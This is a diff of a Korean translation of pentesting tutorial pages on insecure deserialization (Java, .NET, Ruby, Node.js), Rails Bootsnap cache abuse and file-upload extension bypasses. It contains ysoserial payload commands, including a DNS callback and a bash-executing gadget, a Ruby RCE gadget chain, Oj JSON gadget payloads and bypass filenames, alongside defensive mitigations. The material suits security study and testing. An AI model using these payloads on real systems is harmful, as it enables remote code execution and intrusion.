return eval("(" + serializedJavascript + ")")
}
```
이 함수가 객체를 역직렬화하는 데 사용된다면, 당신은 **쉽게 이를 악용할 수 있습니다**:
이 함수가 객체를 역직렬화하는 데 사용된다면 **쉽게 악용할 수 있습니다**:
```javascript
var serialize = require("serialize-javascript")
//Serialization
@ -304,7 +304,7 @@ deserialize(test)
```
**자세한 정보는 이 출처를 읽어보세요**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Cryo library
### Cryo 라이브러리
다음 페이지에서는 이 라이브러리를 악용하여 임의의 명령을 실행하는 방법에 대한 정보를 찾을 수 있습니다:
@ -313,11 +313,11 @@ deserialize(test)
## Java - HTTP
Java에서는 **deserialization 콜백이 deserialization 과정 중에 실행됩니다**. 이 실행은 악의적인 페이로드를 제작하는 공격자에 의해 악용될 수 있으며, 이는 해로운 행동의 실행으로 이어질 수 있습니다.
Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행됩니다**. 이 실행은 공격자가 이러한 콜백을 트리거하는 악성 페이로드를 제작하여 악성 행동을 실행할 수 있도록 악용될 수 있습니다.
### Fingerprints
### 지문
#### White Box
#### 화이트 박스
코드베이스에서 잠재적인 직렬화 취약점을 식별하기 위해 다음을 검색하세요:
@ -333,16 +333,16 @@ Java에서는 **deserialization 콜백이 deserialization 과정 중에 실행
- `ObjectInputStream.readUnshared`.
- `Serializable`의 일반적인 사용.
#### Black Box
#### 블랙 박스
블랙 박스 테스트의 경우, java 직렬화 객체를 나타내는 특정 **서명 또는 "Magic Bytes"**를 찾으세요 (`ObjectInputStream`에서 유래):
블랙 박스 테스트의 경우, java 직렬화 객체를 나타내는 특정 **서명 또는 "매직 바이트"**를 찾으세요 (`ObjectInputStream`에서 유래):
- 16진수 패턴: `AC ED 00 05`.
- Base64 패턴: `rO0`.
- `Content-type``application/x-java-serialized-object`로 설정된 HTTP 응답 헤더.
- 이전 압축을 나타내는 16진수 패턴: `1F 8B 08 00`.
- 이전 압축을 나타내는 Base64 패턴: `H4sIA`.
- `.faces` 확장자를 가진 웹 파일과 `faces.ViewState` 매개변수. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState Deserialization에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에서 자세히 설명된 대로 검토해야 합니다.
- `.faces` 확장자를 가진 웹 파일과 `faces.ViewState` 매개변수. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState 역직렬화에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에서 자세히 설명된 대로 검토해야 합니다.
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
@ -357,18 +357,18 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
당신은 **취약한 모든 라이브러리**를 확인하고 [**Ysoserial**](https://github.com/frohoff/ysoserial)이 제공할 수 있는 익스플로잇을 찾을 수 있습니다. 또는 [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)에 표시된 라이브러리를 확인할 수 있습니다.\
당신은 **취약한 모든 라이브러리**를 확인하고 [**Ysoserial**](https://github.com/frohoff/ysoserial)이 제공할 수 있는 익스플로잇을 찾을 수 있습니다. 또는 [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)에서 언급된 라이브러리를 확인할 수 있습니다.\
또한 [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)를 사용하여 익스플로잇할 수 있는 가능한 가젯 체인을 검색할 수 있습니다.\
**gadgetinspector**를 실행할 때(빌드한 후) 수많은 경고/오류에 신경 쓰지 말고 완료될 때까지 기다리세요. 모든 결과는 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. **gadgetinspector는 익스플로잇을 생성하지 않으며, 잘못된 긍정 결과를 나타낼 수 있습니다**.
#### 블랙 박스 테스트
Burp 확장 [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)를 사용하여 **어떤 라이브러리가 사용 가능한지**(버전 포함) 식별할 수 있습니다. 이 정보를 통해 **취약점을 익스플로잇할 페이로드를 선택하기가 더 쉬워질 수 있습니다**.\
[**GadgetProbe에 대해 더 알아보려면 여기를 읽세요.**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
[**GadgetProbe에 대해 더 알아보려면 여기를 읽어보세요.**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe는 **`ObjectInputStream` deserialization**에 중점을 두고 있습니다.
Burp 확장 [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)를 사용하여 **ysoserial로 익스플로잇할 수 있는 취약한 라이브러리**를 **식별**하고 **익스플로잇**할 수 있습니다.\
[**Java Deserialization Scanner에 대해 더 알아보려면 여기를 읽세요.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
[**Java Deserialization Scanner에 대해 더 알아보려면 여기를 읽어보세요.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner는 **`ObjectInputStream`** deserialization에 중점을 두고 있습니다.
또한 [**Freddy**](https://github.com/nccgroup/freddy)를 사용하여 **Burp**에서 **deserialization** 취약점을 **탐지**할 수 있습니다. 이 플러그인은 **`ObjectInputStream`** 관련 취약점뿐만 아니라 **Json****Yml** deserialization 라이브러리의 취약점도 탐지합니다. 활성 모드에서는 슬립 또는 DNS 페이로드를 사용하여 이를 확인하려고 시도합니다.\
@ -383,9 +383,9 @@ Java Deserialization Scanner는 **`ObjectInputStream`** deserialization에 중
#### **ysoserial**
Java deserialization을 익스플로잇하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial)입니다 ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). 또한 복잡한 명령(예: 파이프 사용)을 사용할 수 있는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)를 사용하는 것도 고려할 수 있습니다.\
Java deserialization을 익스플로잇하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial) ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))입니다. 복잡한 명령(예: 파이프 사용)을 사용할 수 있도록 해주는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) 사용을 고려할 수도 있습니다.\
이 도구는 **`ObjectInputStream`** 익스플로잇에 **중점을 두고** 있습니다.\
나는 **RCE** 페이로드 전에 **"URLDNS"** 페이로드를 사용하여 주입이 가능한지 테스트하는 것을 **시작할 것입니다**. 어쨌든 "URLDNS" 페이로드가 작동하지 않을 수 있지만 다른 RCE 페이로드는 작동할 수 있습니다.
나는 **RCE** 페이로드를 테스트하기 전에 **"URLDNS"** 페이로드를 **사용하기 시작할 것입니다**. 어쨌든 "URLDNS" 페이로드가 작동하지 않을 수 있지만 다른 RCE 페이로드는 작동할 수 있습니다.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -430,7 +430,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때 ">" 또는 "|"와 같은 **특수 문자를 사용할 수 없습니다**. 실행의 출력을 리디렉션하거나, 명령을 실행하기 위해 "$()"를 사용하거나, **공백으로 구분된 인수를 명령에 전달할 수 없습니다** (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다.
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때 ">" 또는 "|"와 같은 **특수 문자를 사용할 수 없습니다**. 실행의 출력을 리디렉션하거나, "$()"를 사용하여 명령을 실행하거나, 심지어 **공백으로 구분된 인수**를 명령에 전달할 수 없습니다 (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다.
다음 스크립트를 사용하여 Windows와 Linux에 대한 **모든 가능한 코드 실행** 페이로드를 생성한 후 취약한 웹 페이지에서 테스트해 보세요:
```python
@ -475,7 +475,7 @@ You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollecti
<type>pom</type>
</dependency>
```
**maven을 설치**하고, **프로젝트를 컴파일**하세요:
**Maven을 설치**하고, **프로젝트를 컴파일**합니다:
```bash
sudo apt-get install maven
mvn clean package -DskipTests
@ -512,20 +512,20 @@ private transient double margin; // declared transient
```
#### Serializable를 구현해야 하는 클래스의 직렬화를 피하십시오
특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해 이러한 객체가 비역직렬화 가능하도록 `final` `readObject()` 메서드를 정의하여 항상 예외를 발생시키도록 하십시오. 아래와 같이:
특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해, 아래와 같이 항상 예외를 발생시키는 `final` `readObject()` 메서드를 정의하여 이러한 객체가 역직렬화되지 않도록 해야 합니다:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
```
#### **Java에서 역직렬화 보안 강화**
#### **Java에서 역직렬화 보안 강화하기**
**`java.io.ObjectInputStream` 사용자 정의**는 역직렬화 프로세스를 보호하기 위한 실용적인 접근 방식입니다. 이 방법은 다음과 같은 경우에 적합합니다:
- 역직렬화 코드가 귀하의 제어 하에 있을 때.
- 역직렬화에 예상되는 클래스가 알려져 있을 때.
- 역직렬화에 필요한 클래스가 알려져 있을 때.
**`resolveClass()`** 메서드를 오버라이드하여 허용된 클래스만 역직렬화되도록 제한합니다. 이는 다음 예제와 같이 `Bicycle` 클래스만 역직렬화되도록 제한하여, 명시적으로 허용된 클래스 외에는 어떤 클래스도 역직렬화되지 않도록 방지합니다:
**`resolveClass()`** 메서드를 오버라이드하여 허용된 클래스만 역직렬화되도록 제한합니다. 이는 다음 예제와 같이 `Bicycle` 클래스만 역직렬화되도록 명시적으로 허용된 클래스를 제외한 모든 클래스의 역직렬화를 방지합니다:
```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -590,7 +590,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
## JNDI 주입 및 log4Shell
**JNDI 주입, RMI, CORBA 및 LDAP를 통한 악용 방법 및 log4shell의 취약점 예시**를 다음 페이지에서 확인하세요:
**JNDI 주입이란 무엇인지, RMI, CORBA 및 LDAP를 통해 이를 악용하는 방법, log4shell을 이용한 공격 방법**(이 취약점의 예시 포함)은 다음 페이지에서 확인할 수 있습니다:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -610,10 +610,10 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
### 악용
기본적으로 **위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다**. 따라서 이러한 서비스에 메시지를 전송할 **충분한 권한**이 있다면 (일반적으로 유효한 자격 증명이 필요함) **소비자/구독자가 역직렬화할 악의적인 직렬화 객체를 전송할 수 있습니다**.\
기본적으로 **위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다**. 따라서 이러한 서비스에 메시지를 전송할 **충분한 권한**이 있다면(일반적으로 유효한 자격 증명이 필요함) **소비자/구독자가 역직렬화할 악의적인 직렬화 객체를 전송할 수 있습니다**.\
이는 이 악용에서 **해당 메시지를 사용할 모든 클라이언트가 감염될 것**임을 의미합니다.
서비스가 취약하더라도 (사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위한 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다.
서비스가 취약하더라도(사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위한 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다.
도구 [JMET](https://github.com/matthiaskaiser/jmet)는 **알려진 가젯을 사용하여 여러 악의적인 직렬화 객체를 전송하여 이 서비스를 연결하고 공격하기 위해 생성되었습니다**. 이러한 악용은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있을 경우에 작동합니다.
@ -639,26 +639,26 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
#### 블랙박스
서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴을 검색해야 하며, 이는 역직렬화될 유형에 대한 제어를 부여합니다. 여기에는 `TypeObject` 또는 `$type`이 포함된 **JSON** 또는 **XML** 구조가 포함될 수 있지만 이에 국한되지 않습니다.
검색은 서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴을 목표로 해야 하며, 이는 역직렬화될 유형에 대한 제어를 부여합니다. 여기에는 `TypeObject` 또는 `$type`을 포함한 **JSON** 또는 **XML** 구조가 포함될 수 있습니다.
### ysoserial.net
이 경우 도구 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net)을 사용하여 **역직렬화 악용을 생성할 수 있습니다**. git 리포지토리를 다운로드한 후, 예를 들어 Visual Studio를 사용하여 **도구를 컴파일해야 합니다**.
**ysoserial.net이 악용을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터에 대해 설명된 이 페이지를 확인하세요**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
**ysoserial.net이 악용을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터에 대해 설명된 이 페이지를 확인할 수 있습니다**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
**ysoserial.net**의 주요 옵션은: **`--gadget`**, **`--formatter`**, **`--output`** 및 **`--plugin`**입니다.
- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다 (명령을 실행하기 위해 역직렬화 중 악용될 클래스/함수를 지정).
- **`--formatter`**는 악용을 직렬화하는 방법을 지정하는 데 사용됩니다 (페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알아야 하며, 이를 직렬화하는 데 동일한 것을 사용해야 합니다).
- **`--output`**는 악용을 **원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**로 **인코딩**하므로 (Windows에서 기본적으로 사용되는 인코딩) 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 **인코딩 호환성 문제**가 발생할 수 있으며, 이는 악용이 제대로 작동하지 않게 할 수 있습니다 (HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만, 항상 작동한다는 의미는 아닙니다)._
- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다(역직렬화 중 명령을 실행하기 위해 악용될 클래스/함수를 지정).
- **`--formatter`**는 악용을 직렬화하는 방법을 지정하는 데 사용됩니다(페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알고 동일한 것을 사용하여 직렬화해야 함).
- **`--output`**는 악용을 **원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**(Windows에서 기본적으로 사용되는 인코딩)로 **인코딩**하므로, 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 **인코딩 호환성 문제**가 발생할 수 있으며, 이는 악용이 제대로 작동하지 않게 할 수 있습니다(HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만, 항상 작동한다는 의미는 아닙니다)._
- **`--plugin`** ysoserial.net은 ViewState와 같은 **특정 프레임워크를 위한 악용을 제작하기 위해 플러그인을 지원합니다**.
#### ysoserial.net의 추가 매개변수
- `--minify`는 **더 작은 페이로드**를 제공합니다 (가능한 경우).
- `--minify`는 **더 작은 페이로드**를 제공합니다(가능한 경우).
- `--raf -f Json.Net -c "anything"` 이는 제공된 포맷터(`Json.Net`인 경우)와 함께 사용할 수 있는 모든 가젯을 나타냅니다.
- `--sf xml`**가젯을 지정**(`-g`)하고 ysoserial.net이 "xml"을 포함하는 포맷터를 검색하도록 합니다 (대소문자 구분 없음).
- `--sf xml`**가젯**(`-g`)을 지정할 수 있으며, ysoserial.net은 "xml"을 포함하는 포맷터를 검색합니다(대소문자 구분 없음).
**ysoserial 예시**를 통한 악용 생성:
```bash
@ -706,7 +706,7 @@ return obj;
}
```
In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.\
따라서 **`--test`** 매개변수는 **어떤 코드 조각이** **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 취약한지 이해하는 데 도움이 됩니다.
따라서 **`--test`** 매개변수는 **어떤 코드 조각이** **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 취약한지 이해하는 데 도움이 됩니다.
### ViewState
@ -716,15 +716,15 @@ In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라
.Net에서 역직렬화와 관련된 위험을 완화하기 위해:
- **데이터 스트림이 객체 유형을 정의하도록 허용하지 마십시오.** 가능 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용하십시오.
- **데이터 스트림이 객체 유형을 정의하도록 허용하지 마십시오.** 가능 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용하십시오.
- **`JSON.Net`의 경우 `TypeNameHandling``None`으로 설정하십시오:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **`JavaScriptSerializer``JavaScriptTypeResolver`의 사용을 피하십시오.**
- **역직렬화할 수 있는 유형을 제한하십시오**, `System.IO.FileInfo`와 같은 .Net 유형의 고유한 위험을 이해하십시오. 이는 서버 파일의 속성을 수정할 수 있어 서비스 거부 공격으로 이어질 수 있습니다.
- **위험한 속성을 가진 유형에 주의하십시오**, `Value` 속성이 있는 `System.ComponentModel.DataAnnotations.ValidationException`과 같이 악용될 수 있습니다.
- **타입 인스턴스화를 안전하게 제어하십시오**. 공격자가 역직렬화 프로세스에 영향을 미치지 않도록 하여 `DataContractSerializer` 또는 `XmlSerializer`조차도 취약하게 만들 수 있습니다.
- **타입 인스턴스화를 안전하게 제어하여** 공격자가 역직렬화 프로세스에 영향을 미치지 않도록 하십시오. 이로 인해 `DataContractSerializer` 또는 `XmlSerializer`조차도 취약해질 수 있습니다.
- **`BinaryFormatter``JSON.Net`에 대해 사용자 정의 `SerializationBinder`를 사용하여 화이트리스트 제어를 구현하십시오.**
- **.Net 내에서 알려진 불안전한 역직렬화 가젯에 대한 정보를 유지하고** 역직렬화기가 그러한 유형을 인스턴스화하지 않도록 하십시오.
- **잠재적으로 위험한 코드를 인터넷에 접근할 수 있는 코드와 격리하여** `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출되지 않도록 하십시오.
- **잠재적으로 위험한 코드를** 인터넷에 접근할 수 있는 코드와 분리하여 `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출되지 않도록 하십시오.
### **References**
@ -735,16 +735,16 @@ In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라
## **Ruby**
루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드에 의해 수행됩니다. 첫 번째 메서드는 **dump**로, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이 과정을 역직렬화라고 합니다.
Ruby에서는 **marshal** 라이브러리 내의 두 가지 메서드를 통해 직렬화가 이루어집니다. 첫 번째 메서드는 **dump**로, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이 역직렬화라고 합니다.
직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 목적을 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다:
직렬화된 객체를 보호하기 위해 **Ruby는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 목적을 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
- `config/secrets.yml`
- `/proc/self/environ`
**루비 2.X 일반 역직렬화에서 RCE 가젯 체인 (자세한 정보는** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
**Ruby 2.X 일반 역직렬화에서 RCE 가젯 체인 (자세한 내용은** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@ -819,13 +819,13 @@ puts Base64.encode64(payload)
### Ruby .send() 메서드
[**이 취약점 보고서**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)에서 설명된 바와 같이, 일부 사용자로부터 비정제된 입력이 ruby 객체의 `.send()` 메서드에 도달하면, 이 메서드는 객체의 **다른 메서드를 호출**할 수 있게 해줍니다.
[**이 취약점 보고서**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)에서 설명된 바와 같이, 일부 사용자로부터 비정제된 입력이 ruby 객체의 `.send()` 메서드에 도달하면, 이 메서드는 객체의 **다른 메서드를 호출**할 수 있게 해줍니다.
예를 들어, eval을 호출하고 두 번째 매개변수로 ruby 코드를 전달하면 임의의 코드를 실행할 수 있습니다:
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값이 있는** 인수를 가진 메서드를 호출할 수 있습니다.\
또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 설명에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값이 있는** 인수를 가진 메서드를 호출할 수 있습니다.\
이를 위해, **그 요구 사항을 충족하는 흥미로운 메서드를 찾기 위해** 객체의 모든 메서드를 열거할 수 있습니다.
```ruby
<Object>.send('<user_input>')
@ -854,7 +854,7 @@ candidate_methods.length() # Final number of methods=> 3595
### Ruby _json 오염
해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 자신이 원하는 임의의 값으로 `_json`이라는 값을 설정할 수도 있습니다. 그런 다음, 예를 들어 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하면, 권한 우회가 발생할 수 있습니다.
해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 임의의 값을 가진 `_json`이라는 값을 설정할 수도 있습니다. 그런 다음, 예를 들어 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하면, 권한 우회를 수행할 수 있습니다.
[Ruby _json 오염 페이지에서 더 많은 정보를 확인하세요](ruby-_json-pollution.md).
@ -888,7 +888,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출하는 가젯 클래스를 찾을 수 있었으며, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다.
Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출하는 가젯 클래스를 찾을 수 있었, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다.
```json
{
"^o": "URI::HTTP",
@ -900,7 +900,7 @@ Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출
"password": "anypw"
}
```
또한, 이전 기술을 사용하면 시스템에 폴더가 생성된다는 것이 발견되었으며, 이는 다른 가젯을 악용하여 이를 완전한 RCE로 변환하는 데 필요니다.
또한, 이전 기술을 사용하면 시스템에 폴더가 생성된다는 것이 발견되었으며, 이는 다른 가젯을 악용하여 이를 완전한 RCE로 변환하는 데 필요한 조건입니다.
```json
{
"^o": "Gem::Resolver::SpecSpecification",
@ -922,6 +922,42 @@ Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출
}
}
```
자세한 내용은 [**원본 게시물**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)에서 확인하세요.
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
### Bootstrap Caching
정확히는 역직렬화 취약점은 아니지만, Rails 애플리케이션에서 임의 파일 쓰기를 통해 RCE를 얻기 위해 Bootstrap 캐싱을 악용하는 멋진 트릭입니다 (완전한 [원본 게시물은 여기에서 확인하세요](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
아래는 Bootsnap 캐싱을 악용하여 임의 파일 쓰기 취약점을 이용하는 방법에 대한 기사의 단계 요약입니다:
- 취약점 및 환경 식별
Rails 앱의 파일 업로드 기능은 공격자가 임의로 파일을 쓸 수 있게 합니다. 앱이 제한된 상태에서 실행되지만(특정 디렉토리만 쓰기가 가능함), 여전히 Bootsnap 캐시 디렉토리에 쓰는 것이 가능합니다(일반적으로 tmp/cache/bootsnap 아래에 위치).
- Bootsnap의 캐시 메커니즘 이해
Bootsnap은 컴파일된 Ruby 코드, YAML 및 JSON 파일을 캐싱하여 Rails 부팅 시간을 단축합니다. 캐시 파일은 캐시 키 헤더(루비 버전, 파일 크기, mtime, 컴파일 옵션 등과 같은 필드 포함)와 그 뒤에 컴파일된 코드가 포함되어 있습니다. 이 헤더는 앱 시작 시 캐시를 검증하는 데 사용됩니다.
- 파일 메타데이터 수집
공격자는 먼저 Rails 시작 시 로드될 가능성이 있는 대상 파일(예: Ruby의 표준 라이브러리에서 set.rb)을 선택합니다. 컨테이너 내에서 Ruby 코드를 실행하여 중요한 메타데이터(RUBY_VERSION, RUBY_REVISION, 크기, mtime, compile_option 등)를 추출합니다. 이 데이터는 유효한 캐시 키를 만드는 데 필수적입니다.
- 캐시 파일 경로 계산
Bootsnap의 FNV-1a 64비트 해시 메커니즘을 복제하여 올바른 캐시 파일 경로를 결정합니다. 이 단계는 악성 캐시 파일이 Bootsnap이 예상하는 정확한 위치에 배치되도록 보장합니다(예: tmp/cache/bootsnap/compile-cache-iseq/ 아래).
- 악성 캐시 파일 만들기
공격자는 다음을 수행하는 페이로드를 준비합니다:
- 임의의 명령을 실행합니다(예: 프로세스 정보를 보여주기 위해 id 실행).
- 실행 후 악성 캐시를 제거하여 재귀적 악용을 방지합니다.
- 애플리케이션이 중단되지 않도록 원본 파일(예: set.rb)을 로드합니다.
이 페이로드는 바이너리 Ruby 코드로 컴파일되고, 이전에 수집한 메타데이터와 Bootsnap에 대한 올바른 버전 번호를 사용하여 신중하게 구성된 캐시 키 헤더와 연결됩니다.
- 덮어쓰기 및 실행 트리거
임의 파일 쓰기 취약점을 사용하여 공격자는 계산된 위치에 제작된 캐시 파일을 씁니다. 다음으로, 서버 재시작을 트리거합니다(모니터링되는 tmp/restart.txt에 쓰기). 재시작 중에 Rails가 대상 파일을 요구할 때, 악성 캐시 파일이 로드되어 원격 코드 실행(RCE)이 발생합니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자를 두 번** 추가하거나 **쓰레기** 데이터를 추가하는 기법을 사용할 수 있습니다.
4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자를 두 번** 추가하거나 **쓰레기** 데이터를 확장자 사이에 추가하는 기술을 사용합니다.
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,15 +43,15 @@
5. 이전 검사에 **또 다른 확장자 레이어**를 추가합니다:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **유효한 확장자 앞에 exec 확장자를 넣고** 서버가 잘못 구성되기를 기도합니다. (Apache 잘못 구성에서 유용하며, **.php**로 끝나지 않더라도 모든 것이 코드를 실행합니다):
